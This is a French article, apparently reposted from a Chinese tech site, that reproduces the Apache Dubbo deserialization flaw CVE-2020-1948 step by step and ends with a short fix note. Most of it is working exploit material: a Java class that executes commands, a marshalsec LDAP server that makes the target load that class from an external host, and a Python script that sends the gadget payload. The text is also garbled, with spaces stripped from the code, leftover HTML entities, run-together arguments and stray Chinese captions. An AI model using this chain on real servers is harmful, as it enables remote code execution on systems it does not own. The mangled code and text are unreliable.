Maison  >  Article  >  Opération et maintenance  >  Comment analyser la vulnérabilité de désérialisation d'Apache Dubbo

Comment analyser la vulnérabilité de désérialisation d'Apache Dubbo

WBOY
WBOYavant
2023-05-17 16:01:22979parcourir

Introduction

Dubbo est un framework de service open source hautes performances et excellent d'Alibaba, qui permet aux applications de réaliser des fonctions de sortie et d'entrée de service via un RPC hautes performances, et peut être intégré de manière transparente au framework Spring. Le système comporte trois fonctions principales, notamment l'invocation de méthodes d'interface à distance, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services.

Vue d'ensemble

Le 23 juin 2020, Apache Dubbo a officiellement publié un avis de risque pour l'exécution de code à distance d'Apache Dubbo. Le numéro de vulnérabilité est CVE-2020-1948 et le niveau de vulnérabilité est : risque élevé. Apache Dubbo est un framework Java RPC open source léger et hautes performances qui offre trois fonctionnalités principales : l'invocation de méthodes à distance orientées interface, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services. Le fournisseur Apache Dubbo présente une vulnérabilité de désérialisation. Un attaquant peut envoyer des noms de services ou des noms de méthodes non reconnus et certaines charges utiles de paramètres malveillants via des requêtes RPC. Lorsque les paramètres malveillants sont désérialisés, cela peut provoquer l'exécution de code à distance.

Versions concernées

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (officiellement plus maintenu)

Configuration de l'environnement

Les versions jdk de l'environnement d'exécution et de l'environnement d'expérience de compilation sont toutes deux 8u121 , Démarrez l'environnement de test

java -jar dubbo.jar


Après le démarrage, il écoutera le port 12345

Récurrence de la vulnérabilité

Empreinte digitale du service :


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd

Construisez le poc Nous exécutons ici une commande ping pour vérifier si la commande. peut être exécuté et créer un nouveau calc. java,

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}


Compile poc

javac calc.java


Placez le poc compilé (calc.class) dans le répertoire du site Web pour vous assurer que l'hôte vulnérable peut y accéder. Utilisez le projet marshalsec pour démarrer un service proxy ldap et téléchargez marshalsec :

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar


Démarrez le service proxy LDAP Exécutez cette commande et le service ldap écoutera le port 8086


 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086


Exécutez le test. script. L'environnement python utilisé dans le test ici est 3.8.0. Installez d'abord le package de dépendances

python3 -m pip install dubbo-py


Contenu du script (Dubbo.py) :

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print(&#39;Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL&#39;.format(sys.argv[0]))print(&#39;\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp&#39;.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object(&#39;com.sun.rowset.JdbcRowSetImpl&#39;,dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object(&#39;java.lang.Class&#39;,name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object(&#39;com.rometools.rome.feed.impl.ToStringBean&#39;,beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name=&#39;org.apache.dubbo.spring.boot.sample.consumer.DemoService&#39;,# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name=&#39;$invoke&#39;,args=[toStringBean])output =str(resp)if&#39;Fail to decode request due to: RpcInvocation&#39;inoutput:print(&#39;[!] Target maybe not support deserialization.&#39;)elif&#39;EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()&#39;inoutput:print(&#39;[+] Succeed.&#39;)else:print(&#39;[!] Output:&#39;)print(output)print(&#39;[!] Target maybe not use dubbo-remoting library.&#39;)


Exécutez le script

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc


怎么进行Apache Dubbo反序列化漏洞的分析. vue dnslog, réception réussie de la demande怎么进行Apache Dubbo反序列化漏洞的分析

Le service ldap peut également voir le transfert de la demande怎么进行Apache Dubbo反序列化漏洞的分析

Bomb Calculator

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }

Correction de bug

Mise à niveau vers la version 2.7.7 et effectuer la vérification des paramètres selon la méthode du lien suivant

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

Protocole de remplacement et méthode de désérialisation.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer